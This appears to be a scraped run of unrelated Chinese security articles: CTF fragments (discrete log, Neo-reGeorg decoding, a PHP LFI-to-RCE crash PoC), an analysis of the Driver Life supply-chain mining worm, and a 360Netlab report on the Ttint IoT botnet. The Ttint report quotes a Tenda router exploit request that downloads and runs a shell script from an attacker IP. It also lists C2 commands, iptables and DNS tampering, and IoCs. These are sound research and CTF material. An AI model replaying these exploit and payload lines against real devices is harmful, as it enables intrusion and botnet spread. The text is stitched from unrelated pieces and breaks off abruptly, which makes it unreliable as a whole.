g = 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366973332463469104730271236078593527144954324116802080620822212777139186990364810367977
A = 142989488568573584455487421652639325256968267580899511353325709765313839485530879575182195391847106611058986646758739505820350416810754259522949402428485456431884223161690132385605038767582431070875138678612435983425500273038807582069763455994486365993366499478412783220052753597397455113133312907456163112016L
B = 16631700400183329608792112442038543911563829699195024819408410612490671355739728510944167852170853457830111233224257622677296345757516691802411264928943809622556723315310581871447325139349242754287009766402650270061476954875266747743058962546605854650101122523183742112737784691464177427011570888040416109544L
k = GF(p)
a = discrete_log_lambda(k(A),k(g),(2**39,2**40))
b = discrete_log_lambda(k(B),k(g),(2**39,2**40))
print(a)
print(b)
### 27 Neo-reGeorg
Neo-reGeorg 使用的一种简单的base64换表加密 这种方法在已知明文的时候十分脆弱
使用提供的日志很容易拼出第一个http请求的部分开头明文(注意流量换行使用的是\n\r)
GET / HTTP/1.1
Host: 192.168.234.176
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
使用base64编码后与密文对比 可以还原出大部分映射表
剩余的少量映射关系可以通过爆破得出
拿到表后即可完整解密通信流量得到flag | 社区文章 |
# “驱动人生”供应链攻击事件的部分技术补充分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景简单介绍
12月末，一个朋友跟我说有个样本，让帮忙分析一下。花了一点儿时间分析了样本，发现这个样本来自一个通过修改永恒之蓝攻击脚本传播挖矿木马的攻击流程。准备投稿之前手贱搜索了一下样本中比较有特征的字符串
**“password12”** 和 **“HSKALWOEDJSLALQEOD”**
，然后确认这个事件和火绒首先披露的驱动人生供应链攻击事件应该是同一事件。庆幸自己没有脑子一热直接提交之余，内心之中还是有点儿可惜。
拜读了火绒的分析报告，为他们比较迅速的响应速度点赞！同时，在已经对样本做了分析之后觉得：可能是事出仓促，有些技术点火绒以及后续腾讯的报告中没有体现。所以这里把整理的一些技术分析稍作补充。虽说是狗尾续貂，但是
**绝无蹭热度** 的想法。公开这部分内容的目的在于把分析所得转化有价值的信息，呈现给对此事关注的安全爱好者和研究人员，仅此而已。
## 样本分析
### 从第一个样本说起
拿到的第一个样本名称是svvhost.exe（也就是MS17-010
漏洞扫描的样本），样本大小4M多，所以看一下资源。
这样结果就很明了了，这是一个py2exe生成的样本。所以下一步工作是提取样本里的python脚本。
关于脚本提取的方法，可以用python的PEFile库去解析PE文件，提取PYTHONSCRIPT资源，也可以用工具把资源dump出来。提取过后，几行简单的脚本就可以还原出python代码了。下面的这个函数就可以完成PYTHONSCRIPT流的解析工作。
下面一段代码可以检测并提取Py2exe编译程序中的PYTHONSCRIPT对象。
class PythonExecutable_parse(object):
def __init__(self, filename, check_option = False):
self.python_version = 0.0
if os.path.exists(filename):
self.filename = filename
self.check = check_option
self.fptr = open(filename, "rb")
else:
raise Exception("File not found")
sys.exit(1)
def executable_check(self):
try:
pe_file = pefile.PE(self.filename)
except:
#check for PYTHONSCRIPT format
file_data = self.fptr.read()
if b'x12x34x56x78' == file_data[:4]:
return ("PYTHONSCRIPT", file_data)
#can not support for python 3.x currently
else:
return ("NOT_PE", None)
#check for py2exe foamrt file
if hasattr(pe_file, "DIRECTORY_ENTRY_RESOURCE"):
for entry in pe_file.DIRECTORY_ENTRY_RESOURCE.entries:
#get python script version from pythonx.x.dll
if str(entry.name).endswith(".DLL"):
self.python_version = int(str(entry.name)[6:8])
if str(entry.name) == "PYTHONSCRIPT":
script_resourse = entry.directory.entries[0].directory.entries[0]
if script_resourse != None:
pythonscript = pe_file.get_data(script_resourse.data.struct.OffsetToData, script_resourse.data.struct.Size)
return ("PY2EXE", pythonscript)
代码执行没有问题，解析出来的脚本也没有被混淆，谢天谢地。
这段代码显而易见，是几个此前公开的[永恒之蓝利用代码](https://github.com/worawit/MS170919)修改而成的。
我们看一下check_ip()函数：
很明显代码获取主机所有网卡的IP地址以及所有和本机有网络连接的IP地址作为目标进行MS17-010
漏洞扫描。提取shellcode并分析，得出shellcode执行的操作和smb_pwn()代码的行为基本相同。
### dl.exe
这个PE文件就是shellcode执行后下载的文件。仅看main函数的话行为比较简单：复制自身到系统目录下，并改名为svhost.exe；注册Ddriver服务并配置信息完成开机自启。而服务函数中又带有服务配置代码及注册服务的函数，为了防止程序意外退出，相比于直接调试服务函数，选择服务入口点设置死循环的方法进行调试比较稳妥。
#### 服务函数
服务函数中互斥量检查，信息采集，请求参数拼接,共享内存的部分[火绒](https://www.freebuf.com/vuls/192014.html)和[腾讯威胁情报中心](https://s.tencent.com/research/report/610.html)已经说的很明白了。分析过程也基本上印证了两份报告的内容。但两份报告对于通信过程和指令传递方法没有十分详细的说明。所以本文主要从通信过程中拆解这个蠕虫的自我复制和释放挖矿工具的过程。
为了文章结构完整，还是简单说一下服务函数的代码执行流程。
首先，
自身移动到C:\Windows\Temp目录下，重命名为svhhost后，拼接字符串”C:\Windows\Temp\svvhost.exe”为蠕虫的自我复制和版本升级做准备。
然后创建两个线程，一个线程用来检查自我复制是否成功，另一个线程则会检查系统当前是否有部分游戏进程，如果存在则结束svhhost进程。
接下来进入循环结构，每隔一段时间完成如下动作：
1 采集主机信息，包括主机名，系统版本，硬件设备信息，杀软信息等。
2 拼接URL，带参数请求C2地址（hxxp://i.haqo.net/i.png等）
3 请求成功时，拆解返回包的内容，并进行通信安全性校验
4 根据回包内容选择加载挖矿代码或完成蠕虫传播组件的版本更新。
**由于此前的两篇分析报告并没有对通信过程加以详尽说明，所以本文提供以下补充内容：**
过对通信过程的分析，现整理数据包解析方式如下：
上图就是实际调试过程中捕获的数据包，这段数据包两部分， **$**
符分隔。首先第一部分数据包进行base64解码，然后对解码的数据利用password12进行rc4解密，得到一个带下载样本的md5 和一个url。
下面两张图分别为两次调试过程中服务器返回的数据包，它们也分别代表svhhost.exe的两种功能： **下载蠕虫和挖矿** 。
而第二段则是客户端和服务端的通信校验，在代码执行下载动作前，需要对通信数据的有效性进行校验，大致流程是：首先对第二部分数据包进行base64解码，然后逆转字符数组作为私钥，和硬编码的公钥进行密钥对的验证。静态代码如下：
逆转字符串代码如下：
从目前该木马的活动情况来看，url
以mlz结尾时，下载的payload为挖矿木马，且木马下载后，直接把解压数据复制到共享内存中，再由主函数加载执行；如果url以exez结尾，则下载的样本为新版本的蠕虫，代码会将文件释放到本地，然后执行新的蠕虫样本(svvhost.exe)。
当新的svvhost.exe被执行时，也会重新对目标进行扫描和攻击，然后其他主机也会执行类似上面shellcode执行 -> 下载样本 ->
注册Ddriver服务 -> 释放svhost.exe -> 传播蠕虫|内存加载挖矿代码 这样的流程。
其他技术细节火绒和腾讯[火绒](https://www.freebuf.com/vuls/192014.html)和[腾讯威胁情报中心](https://s.tencent.com/research/report/610.html)已经说的很明白了。所以这里不做赘述了。
## 关于蠕虫的版本更新
在调试过程中，我发现svvhost确实有更新：利用代码提取python脚本后，发现了数个版本的shellcode，有一部分shellcode在调试过程中可能会发生崩溃的情况。其中一个版本的shellcode
执行的是下载hxxp://dl.haqa.net/dll.exe的指令。
对这个样本进行分析发现除了部分样本加壳，样本移动自身的位置变为C:WindowsSystem32driverssvchost.exe，新调试的样本还会将hxxp://p.abbny.com
作为C2服务器外，就没什么其他变化了。
## 一点儿想法
首先，
**重新声明：本文公开出来，绝不是为了蹭事件热度，技术分析部分也只是对两家报告不甚详尽的部分做了一点儿补充，另外，py2exe的脚本提取，也仅仅是给安全爱好者做一个参考。**
再者，利用永恒之蓝搞成事儿，从WannaCry以来已经不少了，但是还是有很多人不去修复漏洞。尤其对于个人用户来说，很多隐私信息往往就是因为这样或者那样的不经心，不Care而泄露。另外，供应链攻击危害性还真的是比较大的，依稀记得去年也出现过一次利用网游加速器隧道进行永恒之蓝攻击传播挖矿蠕虫的事件。希望以后类似的事儿尽量不要发生吧，毕竟每一个人都有捍卫自己隐私和信息安全的权利。
## 部分样本Hash
74E2A43B2B7C6E258B3A3FC2516C1235
D2C775128228A11A361F41C42739CC12
F79CB9D2893B254CC75DFB7F3E454A69
F9144118127FF29D4A49A30B242CEB55 | 社区文章 |
## LFI to RCE
我之前写过一篇，从一道题看LFI 与 RCE里面提到了一种方式，这一篇算是那篇的一个续写
越来越多的比赛会出一些短小精悍的PHP代码 ，比如[HFCTF 2022]ezPHP等等。这篇文章也是一样，题目出自 **[HITCON CTF
2018]One Line PHP Challenge** 。
题目环境：
* Ubuntu 18.04 + PHP 7.2 + Apache
### 题目源码
<?php
($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);
很简短，简单描述下思路，利用`filter`编码与`session.upload`搭配，从而构造出开头是`@<?php`的文件流，达成了RCE。
### 文件流保存
PHP在处理一个文件上传的请求数据包时，会将目标文件流保存到临时目录下，并且会以`PHP+随机六位字符串`进行保存（`php[0-9A-Za-z]{3,4,5,6}`)，而一个文件流的处理有存活周期，在php运行的过程中，假如php非正常结束，比如崩溃，那么这个临时文件就会永久的保留。如果php正常的结束，并且该文件没有被移动到其它地方也没有被改名，则该文件将在表单请求结束时被删除。在这期间，一个临时文件存活时间大概有30s。
既然了解了处理机制，那我们如何去确定临时文件呢？最简单的是暴力破解，但是30s的时间来确定1/2176782336，emm...基本不可能，但不排除运气好的话，说不定可以~
### 另辟蹊径
除了在30s内确定临时文件以外，还有什么别的办法呢？前面说过，众所周知，PHP崩溃把临时文件永久保留下来，这样的话，我们就有足够的时间来进行爆破了。
**POC**
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
既然我们已知POC是在data部分传入超大ascii码时，引起PHP崩溃
问题来了，PHP为什么会崩溃？是因为文件流太大吗？
### PHP的底层问题
具体问题分析可以看`php-src/ext/standard/filters.c`，分析方法有点类似于之前从php底层去研究ini_set，可以去看我这篇文章[https://xz.aliyun.com/t/10893](https://xz.aliyun.com/t/10893#toc-7)
case PHP_CONV_ERR_TOO_BIG: {
char *new_out_buf;
size_t new_out_buf_size;
new_out_buf_size = out_buf_size << 1;
//new_out_buf_size会比out_buf_size左移一位，但是如果out_buf_size本身就非常小，就无法进入下面的if循环
if (new_out_buf_size < out_buf_size) {
/* whoa! no bigger buckets are sold anywhere... */
if (NULL == (new_bucket = php_stream_bucket_new(stream, out_buf, (out_buf_size - ocnt), 1, persistent))) {
goto out_failure;
}//上面这个if不用考虑了，直接看下面。
php_stream_bucket_append(buckets_out, new_bucket);
out_buf_size = ocnt = initial_out_buf_size;
out_buf = pemalloc(out_buf_size, persistent);//如果不是内部字符串并且引用计数为1时，直接调用perealloc分配内存。
pd = out_buf;
} else {
new_out_buf = perealloc(out_buf, new_out_buf_size, persistent);
pd = new_out_buf + (pd - out_buf);
ocnt += (new_out_buf_size - out_buf_size);
out_buf = new_out_buf;
out_buf_size = new_out_buf_size;
}//当没有进入上面那个if，就会导致每次内存分配都会倍增，进而过大。
} break;
正常的逻辑，`PHP_CONV_ERR_TOO_BIG`错误就代表`out_buf_size`是个大数，通过左移能丢失最高位变成一个小数，从而进入`if`分支goto跳出循环，但是这里的问题是，`err`为`PHP_CONV_ERR_TOO_BIG`,
`out_buf_size`是个小数。
当我们输入的字符串中存在ascii大于126的字符，那么就会进入如下`else`分支
else {
if (line_ccnt < 4) {
if (ocnt < inst->lbchars_len + 1) {
err = PHP_CONV_ERR_TOO_BIG;
break;
}
*(pd++) = '=';
ocnt--;
line_ccnt--;
memcpy(pd, inst->lbchars, inst->lbchars_len);
pd += inst->lbchars_len;
ocnt -= inst->lbchars_len;
line_ccnt = inst->line_len;
}
而在一开始，`isnt`初始化，
case PHP_CONV_QPRINT_ENCODE: {
unsigned int line_len = 0;
char *lbchars = NULL;
size_t lbchars_len;
int opts = 0;
if (options != NULL) {
...
}
retval = pemalloc(sizeof(php_conv_qprint_encode), persistent);
if (lbchars != NULL) {
...
} else {
if (php_conv_qprint_encode_ctor((php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)) {
goto out_failure;
}
}
} break;
然后`lbchars_len`进行赋值
static php_conv_err_t php_conv_qprint_encode_ctor(php_conv_qprint_encode *inst, unsigned int line_len, const char *lbchars, size_t lbchars_len, int lbchars_dup, int opts, int persistent)
{
if (line_len < 4 && lbchars != NULL) {
return PHP_CONV_ERR_TOO_BIG;
}
inst->_super.convert_op = (php_conv_convert_func) php_conv_qprint_encode_convert;
inst->_super.dtor = (php_conv_dtor_func) php_conv_qprint_encode_dtor;
inst->line_ccnt = line_len;
inst->line_len = line_len;
if (lbchars != NULL) {
inst->lbchars = (lbchars_dup ? pestrdup(lbchars, persistent) : lbchars);
inst->lbchars_len = lbchars_len;
} else {
inst->lbchars = NULL;
}
inst->lbchars_dup = lbchars_dup;
inst->persistent = persistent;
inst->opts = opts;
inst->lb_cnt = inst->lb_ptr = 0;
return PHP_CONV_ERR_SUCCESS;
}
可以看出，因为我们使用`php://`没有对`convert.quoted-printable-encode`附加`options`,
所以这里的`options`就是`NULL`，一直到了`else`分支, 我们可以看到传的参数为`(php_conv_qprint_encode
*)retval, 0, NULL, 0, 0, opts, persistent)`
因此，`lbchars`为`NULL`，导致`lbchars_len`没有被赋值，所以`inst->lbchars_len`变量未初始化调用。
根据定义，我们知道`lbchars_len`长度为`8bytes`，通过调整`附加data`的长度，会有一些request报文头的`8bytes`被存储到`inst->lbchars_len`
} else {
if (line_ccnt < 4) {
if (ocnt < inst->lbchars_len + 1) {
err = PHP_CONV_ERR_TOO_BIG;//BUG的成因
break;
}
*(pd++) = '=';
ocnt--;
line_ccnt--;
memcpy(pd, inst->lbchars, inst->lbchars_len);
pd += inst->lbchars_len;
ocnt -= inst->lbchars_len;
line_ccnt = inst->line_len;
}
if (ocnt < 3) {
err = PHP_CONV_ERR_TOO_BIG;
break;
}
*(pd++) = '=';
*(pd++) = qp_digits[(c >> 4)];
*(pd++) = qp_digits[(c & 0x0f)];
ocnt -= 3;
line_ccnt -= 3;
if (trail_ws > 0) {
trail_ws--;
}
CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt);
}
可以发现`memcpy`的位置第二个参数是`NULL`，第一个，第三个参数可控，如果被调用，会导致一个`segfault`，从而在`tmp`下驻留文件，但是我们无法使用`%00`，如何让`ocnt
< inst->lbchars_len + 1`不成立呢？(`ocnt`为data的长度)，这里就要利用整数溢出，将`lbchars_len +
1`溢出到0。这样我们就可以控制`inst->lbchars_len`的值了，但是因为`php://`的`resource`内容不能包含`\x00`，所以只能构造`\x01`-`\xff`的内容。
**综上分析：**
* `inst->lbchars_len`可控且存在整数溢出
* `inst->lbchars_len` 变量未初始化调用
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
POC会导致PHP崩溃，临时文件会永久保存。
### CVE-2016-7125
5.6.25 之前的 PHP 和 7.0.10 之前的 7.x 中的 ext/session/session.c
以触发错误解析的方式跳过无效的会话名称，这允许远程攻击者通过控制会话来注入任意类型的会话数据名称
根据我们上面的POC进行测试漏洞影响版本。
#### 影响版本测试
<?php
file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));
?>
我用docker测试的，实测的话，PHP<7.4 & PHP<5.6.25 两种都可实现
* PHP-7.1.3
* PHP-5.6.28
当前版本下的PHP不会引起崩溃 | 社区文章 |
# Ttint: 一款通过2个0-day漏洞传播的IoT远控木马
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：[涂凌鸣](https://twitter.com/IUnKnow84503351)，[马延龙](https://twitter.com/_O_owl)，[叶根深](https://twitter.com/zom3y3)
## 背景介绍
从2019年11月开始，360Netlab未知威胁检测系统Anglerfish蜜罐节点相继监测到某个攻击者使用2个腾达路由器0-day漏洞传播一个基于Mirai代码开发的远程控制木马（RAT）。
常规的Mirai变种基本都是围绕DDoS做文章，而这个变种不同，在DDoS攻击之外，它针对路由器设备实现了Socket5代理，篡改路由器DNS，设置iptables，执行自定义系统命令等多达12个远程控制功能。
此外，在C2通信层面，它使用WSS (WebSocket over TLS)
协议，一方面这样在流量层面可以规避非常成熟的Mirai流量检测，另一方面可以为C2提供安全加密通信。
在C2本身，攻击者最开始使用了一个Google的云服务IP，其后切换到位于香港的一台托管主机，但是当我们使用网站证书，样本，域名及IP在我们的DNSmon系统里深入扩展关联后，我们看到更多的基础设施IP，更多的样本，和更多的C2域名。
两个0 day，网关设备的12种远控功能，加密流量协议，多次更换的基础设施IP，我们怀疑这个也许不是普通玩家。
这个僵尸网络我们将它命名为Ttint。
## 0-day漏洞攻击
2019年11月9号，我们监测到攻击者使用第一个Tenda路由器0-day漏洞（CVE-2020-10987），传播Ttint样本。值得注意的是，这个漏洞直到2020年7月10号才被披露出来[[1]](https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68)。
GET /goform/setUsbUnload/.js?deviceName=A;cd%20/tmp%3Brm%20get.sh%3Bwget%20http%3A//34.92.139.186%3A5001/bot/get.sh%3Bchmod%20777%20get.sh%3B./get.sh HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
2020年8月21号，我们监测到攻击者使用第二个Tenda路由器0-day漏洞，传播Ttint样本。
2020年8月28号，我们通过邮件向路由器厂商Tenda报告了第二个0-day漏洞详情以及在野PoC，尚未得到厂商回复。
## 0-day漏洞影响范围
360 FirmwareTotal系统通过对Tenda路由器固件分析和漏洞验证，发现以下Tenda路由器固件受影响。
US_AC9V1.0BR_V15.03.05.14_multi_TD01
US_AC9V1.0BR_V15.03.05.16_multi_TRU01
US_AC9V1.0BR_V15.03.2.10_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TDE01
US_AC9V3.0RTL_V15.03.06.42_multi_TD01
US_AC10UV1.0RTL_V15.03.06.48_multi_TDE01
US_AC15V1.0BR_V15.03.05.18_multi_TD01
US_AC15V1.0BR_V15.03.05.19_multi_TD01
US_AC15V1.0BR_V15.03.1.8_EN_TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUS
US_AC15V1.0BR_V15.03.1.12_multi_TD01
US_AC15V1.0BR_V15.03.1.16_multi_TD01
US_AC15V1.0BR_V15.03.1.17_multi_TD01
US_AC18V1.0BR_V15.03.05.05_multi_TD01
US_AC18V1.0BR_V15.03.3.6_multi_TD01
US_AC18V1.0BR_V15.03.3.10_multi_TD01
ac9_kf_V15.03.05.19(6318_)_cn
ac18_kf_V15.03.05.19(6318_)_cn
360 Quake网络空间测绘系统通过对全网资产测绘，发现Tenda路由器0-day具体分布如下图所示。
## Ttint概览
Ttint是一款基于Mirai代码开发的，针对路由器设备的远程控制木马。它除了复用10个 Mirai DDoS攻击指令以外，还实现了12个控制指令。
我们分析对比了2个时期的Ttint样本，发现它们的C2指令是完全相同的，但它们在所使用的0-day漏洞，XOR Key，C2协议上有一些区别。
## 逆向分析
总体来说，Ttint的主机行为比较简单，运行时，删除自身文件，操纵watchdog，防止设备重启；通过绑定端口实现单一实例；接着把修改进程名以迷惑用户；最后和解密得到的C2建立连接，上报设备信息，等待C2下发指令，执行对应的攻击或自定义功能。
我们可以看出它保留了mirai大量特征，诸如单一实例，随机进程名，敏感配制信息加密，集成大量攻击向量等；同时创新地重写了网络通信部分，采用websocket协议，在流量层面规避非常成熟的Mirai流量检测。Mirai已经是社区非常熟悉的老朋友了，因此本文不再赘述Ttint中类似的功能，下文将Ttint
V2的X86架构版本为例，从自定义的功能出发，剖析其具体实现。
### Ttint v2 样本分析
MD5:73ffd45ab46415b41831faee138f306e
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked,
stripped
Lib:uclib
### Socket5代理
绑定C2下发的特定端口，开启Socket5代理服务。这可以让攻击者远程访问路由器内网，然后实现内网漫游。
### 篡改路由器DNS
通过修改resolv.conf文件来篡改路由器DNS,
echo nameserver "DNS server" > /etc/etc/resolv.conf
这种篡改的结果就是Ttint的作者可以劫持受影响路由设备下用户的任意网络访问，窃取敏感信息。
### 设置iptables
通过设置iptables，实现流量转发，目标地址转化功能，下面的模式是将内网的服务暴露到公网上。
iptables -t nat -A PREROUTING -d "" -p tcp --dport "" -j DNAT --to-destination ""
iptables -t nat -A POSTROUTING -d "" -p tcp --dport "" -j SNAT ""
iptables -A FORWARD -d -j ACCEPT
### 反向shell
通过socket实现反向shell，Ttint的作者可以像使用本地shell一样操作受影响路由设备的shell。
### 自升级
从指定的的Download URL（默认为`uhyg8v.notepod2.com:5001`）下载相应CPU架构的Bot程序，实现自升级。
### 自退出
Ttint通过绑定`57322`端口实现单一实例，因此杀死使用这个端口的进程，就能实现自退出，达成清理现场的目的。
### 隐秘的网络通道
通过nc工具监听C2下发的特定端口实现，其中-d的参数的含义是”Detach from
stdin”,因此我们推测PORT之后存在着重定向的相关指令，可以实现Ttint作者和受影响路由设备之间的数据传输。
nc -d -l "PORT" "some redirect cmd"
### 上报设备信息
将设备的time，os，cpu，ip，version，mac信息上报给C2，不过在样本中的格式化字串`type=back_infoatk_id=%s&time=&os=`中出现了一个Bug，遗漏了一个”&”字符。
### 执行系统命令
通过popen函数，执行C2下发的自定义系统命令
## C2协议分析
Ttint Bot样本的C2信息按照Mirai形式加密存储在配置信息表中，XOR Key为`0x0EDFCEBDA`
c2 ciphertxt:
51 19 55 56 56 45 59 50 49 62 0E 4E 4F 54 45 50 4F 44 12 0E 43 4F 4D 20
c2 plaintxt:
q9uvveypiB.notepod2.com
当Bot运行时，解密得到C2地址`ws:q9uvveypiB.notepod2.com:443`，然后通过WebSocket over
TLS协议和C2进行安全通信。
### WebSocket协议
当Ttint
C2回复Bot的响应码为101时，说明协议握手完成，然后Bot可以使用WebSocket协议进行通信。以下是经过TLS解密后的WebSocket数据包示例。
### Bot的上线包
按照WebSocket协议，我们可以知道Payload长度为0x81, mask为0xD5F39E67，Payload
Data数据地址为0x08~0x88。
00000000: 81 FE 00 81 D5 F3 9E 67 A1 8A EE 02 E8 91 FF 04 .......g........
00000010: BE AC F7 09 B3 9C B8 06 A1 98 C1 0E B1 CE AE 41 ...............A
00000020: A1 9A F3 02 E8 D5 F1 14 E8 BF F7 09 A0 8B BE 53 ...............S
00000030: FB C2 AB 49 E5 DE AA 55 F8 94 FB 09 B0 81 F7 04 ...I...U........
00000040: F3 90 EE 12 E8 9A A8 5F E3 D5 F7 17 E8 C2 A7 55 ......._.......U
00000050: FB C2 A8 5F FB C1 AC 55 FB C2 AC 5F F3 85 FB 15 ..._...U..._....
00000060: A6 9A F1 09 E8 C6 FD 02 E5 91 A9 04 E7 D5 FF 15 ................
00000070: B2 80 A3 41 B8 92 FD 5A E5 C3 A4 57 B6 C9 AC 5E ...A...Z...W...^
00000080: EF C4 F8 5D E7 C7 A4 5E E7
把Payload Data同mask进行XOR计算，就得到了明文的Payload，这正是Bot的上线包。
00000000 74 79 70 65 3d 62 61 63 6b 5f 69 6e 66 6f 26 61 |type=back_info&a|
00000010 74 6b 5f 69 64 3d 30 26 74 69 6d 65 3d 26 6f 73 |tk_id=0&time=&os|
00000020 3d 4c 69 6e 75 78 20 34 2e 31 35 2e 30 2d 34 32 |=Linux 4.15.0-42|
00000030 2d 67 65 6e 65 72 69 63 26 63 70 75 3d 69 36 38 |-generic&cpu=i68|
00000040 36 26 69 70 3d 31 39 32 2e 31 36 38 2e 32 32 32 |6&ip=192.168.222|
00000050 2e 31 32 38 26 76 65 72 73 69 6f 6e 3d 35 63 65 |.128&version=5ce|
00000060 30 62 37 63 32 26 61 72 67 73 3d 26 6d 61 63 3d |0b7c2&args=&mac=|
00000070 30 30 3a 30 63 3a 32 39 3a 37 66 3a 32 34 3a 39 |00:0c:29:7f:24:9|
00000080 32
### C2 指令
Ttint Bot支持22种C2指令，其中复用了Mirai的10种DDoS指令，自己实现了12种C2指令。
| 指令码 | 功能 |
| ——— | ————————— |
| 0 | attack_udp_generic |
| 1 | attack_udp_vse |
| 2 | attack_udp_dns |
| 9 | attack_udp_plain |
| 3 | attack_tcp_flag |
| 4 | attack_tcp_pack |
| 5 | attack_tcp_xmas |
| 6 | attack_grep_ip |
| 7 | attack_grep_eth |
| 10 | attack_app_http |
| 12 | 运行nc程序 |
| 13 | 运行ls程序 |
| 15 | 执行自定义系统命令 |
| 16 | 篡改路由器DNS |
| 18 | 获取设备信息 |
| 14 | 设置iptables |
| 11 | 运行ifconfig命令 |
| 17 | 结束自身进程 |
| 19 | 开启socks5代理 |
| 20 | 关闭socks5代理 |
| 21 | 自升级 |
| 22 | 开启反向shell |
### C2 指令格式分析
我们监控到C2向Bot发送了以下指令
00000000: 00 55 00 00 00 0A 0F 01 00 00 00 00 20 02 1A 13 .U.......... ...
00000010: 70 70 2D 6C 4F 76 32 78 39 6E 31 33 58 73 5A 30 pp-lOv2x9n13XsZ0
00000020: 77 76 44 1B 30 69 70 74 61 62 6C 65 73 20 2D 44 wvD.0iptables -D
00000030: 20 49 4E 50 55 54 20 2D 70 20 74 63 70 20 2D 2D INPUT -p tcp -- 00000040: 64 70 6F 72 74 20 35 32 36 38 35 20 2D 6A 20 41 dport 52685 -j A
00000050: 43 43 45 50 54 CCEPT
以下是C2指令格式解析
00 55 ---- msg length
0F ---- cmd id, here is "run system cmd"
02 ---- option number
1A ---- option type, here is "attack id"
13 ---- option length, length of "pp-lOv2x9n13XsZ0wvD" = 0x13
1B ---- option type, here is "attack cmd buf"
30 ---- option length
一般来说Ttint会通过多个自定义的功能组合在一起实现具体的攻击目的。
以我们在实际中捕获的2条相邻指令为例，按照上文的C2指令格式可知，下面的指令是要执行系统命令，具体的系统命令为
`iptables -I INPUT -p tcp --dport 51599 -j ACCEPT`,即允许访问受影响设备的51599端口。
00000000: 82 55 00 55 00 00 00 0A 0F 01 00 00 00 00 20 02 .U.U.......... .
00000010: 1A 13 70 70 2D 51 77 76 73 59 59 45 45 4D 70 36 ..pp-QwvsYYEEMp6
00000020: 77 49 31 62 43 1B 30 69 70 74 61 62 6C 65 73 20 wI1bC.0iptables
00000030: 2D 49 20 49 4E 50 55 54 20 2D 70 20 74 63 70 20 -I INPUT -p tcp
00000040: 2D 2D 64 70 6F 72 74 20 35 31 35 39 39 20 2D 6A --dport 51599 -j
00000050: 20 41 43 43 45 50 54 ACCEPT
下面的指令，是要在要受影响设备的51599端口上开启Socket5代理功能。
00000000: 82 3C 00 3C 00 00 00 0A 13 01 00 00 00 00 20 04 .<.<.......... .
00000010: 1C 05 35 31 35 39 39 1D 06 61 6D 68 78 65 66 1E ..51599..amhxef.
00000020: 08 64 40 61 59 79 31 39 52 1A 13 70 70 2D 30 58 [email protected]
00000030: 74 79 73 61 33 79 58 4D 51 59 6E 6C 41 72 tysa3yXMQYnlAr
俩个功能的组合，保证了Socket5代理的正常使用。
## 处置建议
我们建议Tenda路由器用户及时检查并更新固件系统。
我们建议读者对相关IP和URL进行监控和封锁。
## 联系我们
感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件
**netlab[at]360.cn** 联系我们。
## IoC
IP:
34.92.85.21 Hong Kong ASN15169 GOOGLE
34.92.139.186 Hong Kong ASN15169 GOOGLE
43.249.29.56 Hong Kong ASN133115 HK Kwaifong Group Limited
45.249.92.60 Hong Kong ASN133115 HK Kwaifong Group Limited
45.249.92.72 Hong Kong ASN133115 HK Kwaifong Group Limited
103.60.220.48 Hong Kong ASN133115 HK Kwaifong Group Limited
103.108.142.92 Hong Kong ASN133115 HK Kwaifong Group Limited
103.243.183.248 Hong Kong ASN133115 HK Kwaifong Group Limited
C2:
cnc.notepod2.com:23231
back.notepod2.com:80
q9uvveypiB.notepod2.com:443
Update Server:
uhyg8v.notepod2.com:5001
URL:
http://45.112.205.60/td.sh
http://45.112.205.60/ttint.i686
http://45.112.205.60/ttint.arm5el
http://45.112.205.60/ttint.mipsel
http://34.92.139.186:5001/bot/get.sh
http://34.92.139.186:5001/bot/ttint.mipsel
http://34.92.139.186:5001/bot/ttint.x86_64
MD5:
3e6a16bcf7a9e9e0be25ae28551150f5
4ee942a0153ed74eb9a98f7ad321ec97
6bff8b6fd606e795385b84437d1e1e0a
733f71eb6cfca905e8904d0fb785fb43
a89cefdf71f2fced35fba8612ad07174
c5cb2b438ba6d809f1f71c776376d293
cfc0f745941ce1ec024cb86b1fd244f3
73ffd45ab46415b41831faee138f306e | 社区文章 |
# Lua程序逆向之Luajit字节码与反汇编
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
#
## 传送门
[Lua程序逆向之Luajit文件格式](https://www.anquanke.com/post/id/87281)
## 简介
`Luajit`的字节码设计与指令的反汇编有很多值得学习的地方。`Luajit`除了将`Lua`原生40条左右的指令扩展到了93条（`Luajit`版本2.0.5）外，还更改了字节码中Opcode与操作数的排列方式，可以说，`Luajit`使用了一种完全全新的方式来编译与执行Lua程序。经过处理后的`Luajit`程序，字节码的编码实现更加简单，执行效率也比原生`Luac`指令更加高效。
## 指令格式分析
